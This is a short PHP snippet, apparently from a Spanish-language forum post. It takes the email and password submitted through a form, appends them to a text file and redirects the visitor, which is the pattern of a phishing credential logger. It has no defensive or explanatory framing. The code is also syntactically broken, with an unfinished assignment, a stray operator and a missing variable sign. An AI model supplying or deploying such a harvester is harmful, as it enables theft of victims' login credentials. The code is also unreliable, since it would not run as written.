Código PHP:
<?php
$usuario = $_POST[ 'email' ];
$password = $_POST[ 'pass' ];
$fecha =
if( ( empty($usuario)) or (empty($password)) ){
header('location: error.htm');
}else{
$file = fopen('datos.txt','a+');
fwrite($file, .$usuario."<:>".$password."<:>".fecha );
fclose($file);
header('location: algun sitio ');
}
?>